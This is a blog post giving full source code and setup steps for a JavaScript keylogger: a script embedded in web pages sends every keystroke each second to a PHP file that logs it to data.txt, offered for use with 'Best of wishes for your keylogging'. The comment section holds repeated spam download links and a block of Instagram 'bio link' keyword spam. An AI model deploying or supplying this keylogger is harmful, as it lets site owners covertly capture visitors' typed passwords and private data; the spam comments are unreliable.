Anuraj TS

Javascript keyLogger ( Full source code with explanation ) -Record every Key stroke in your website .

REQUIREMENTS

1. A website  with php support
2. A webbrowser

STEP 1 : Creating a file code.js and uploading it to your site in any durectory ( Let the directory be dir )

The below code should be pasted inside code.js 

var keys='';  // declaring a javascript variable to store each keystroke 
document.onkeypress = function(e) // calling the function to execute whenever a keystroke is there on html document  document.onkeypress  is an event handler

{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; //get character code 
key = String.fromCharCode(key); // convert it to string 
keys+=key; // append current character to previous one (concatinate)
}
window.setInterval(function(){
new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image 
keys = '';
}, 1000); // set interval to execute function continuously

STEP 2 : Creating a php file "keylogger.php"



<?php
/*
keylogger.php
techworld2k.blogspot.com
*/

if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}

?>

 The above code writes each character obtained from our javascript request to a  text file called data.txt .



STEP 3 : Creating a text file data.txt in directory "dir".


No code to be used inside this file

STEP 4: Implementation code


To use this key logger  in any page just use the below code

<script src="path to code.js">

path to code.js should be replaced with full path to the file code.js . for example http://mysite.com/code.js
Now you are finished .


This script will not save who  have pressed the particualr key.
The code will record every key stroke in your site . if you know some php you can make the code working for each user and record  every data to a database rather than text file...

Anyhow ..... Best of wishes for your keylogging.....



Recommended Articles

  1. Top Best Free Keylogger Software List 

  2. Create Simple Python Keylogger - Step by Step Tutorial ( With full code and explanation)





Comments (5)

How to Add a Link to Your Instagram Bio



Link in bio



Bio link App



Bio link Instagram



multiple link bio instagram



whatsapp link bio instagram



youtube link bio instagram



clickable link bio instagram



bio link for instagram



bio link for tumblr



bio link for facebook



bio link for twitter



bio link creator



bio link for instagram



bio link technology



add bio link



your bio link creator


User
Javascript Keylogger ( Full Source Code With Explanation ) -Record Every Key Stroke In Your Website . >>>>> Download Now

>>>>> Download Full

Javascript Keylogger ( Full Source Code With Explanation ) -Record Every Key Stroke In Your Website . >>>>> Download LINK

>>>>> Download Now

Javascript Keylogger ( Full Source Code With Explanation ) -Record Every Key Stroke In Your Website . >>>>> Download Full

>>>>> Download LINK Rv
Artigo bem escrito, se todos os blogueiros oferecessem o mesmo conteúdo que você, a internet seria um lugar muito melhor. Keylogger
You have great work my dear sir it was a great knowledge you provided who are in programmer fild
User
Javascript Keylogger ( Full Source Code With Explanation ) -Record Every Key Stroke In Your Website . >>>>> Download Now

>>>>> Download Full

Javascript Keylogger ( Full Source Code With Explanation ) -Record Every Key Stroke In Your Website . >>>>> Download LINK

>>>>> Download Now

Javascript Keylogger ( Full Source Code With Explanation ) -Record Every Key Stroke In Your Website . >>>>> Download Full

>>>>> Download LINK sB